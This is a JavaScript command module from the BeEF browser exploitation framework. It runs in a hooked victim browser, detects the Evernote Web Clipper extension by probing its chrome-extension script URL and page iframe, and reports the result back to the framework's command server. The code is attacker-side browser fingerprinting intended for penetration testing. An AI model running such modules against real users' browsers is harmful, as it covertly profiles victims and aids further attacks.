Path: blob/master/modules/browser/detect_evernote_clipper/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {7var result = "";89var s = document.createElement('script');10s.onload = function() {11result = "Detected through presense of extension content script.";12beef.net.send("<%= @command_url %>", <%= @command_id %>, "evernote_clipper="+result);13}14s.src = 'chrome-extension://pioclpoplcdbaefihamjohnefbikjilc/content/frame.js';15document.body.appendChild(s);1617var evdiv = document.getElementById('evernoteGlobalTools');18if (typeof(evdiv) != 'undefined' && evdiv != null) {19// Evernote Web Clipper must have been active as well, because we can detect one of the iFrames20iframeresult = "Detected evernoteGlobalTools iFrame. Looks like the Web Clipper has been used on this page";21beef.net.send("<%= @command_url %>", <%= @command_id %>, "evernote_clipper="+iframeresult);22}232425setTimeout(function() {26if (result == "") {27beef.net.send("<%= @command_url %>", <%= @command_id %>, "evernote_clipper=Not Detected");28}29document.body.removeChild(s);30}, 2000);3132});33343536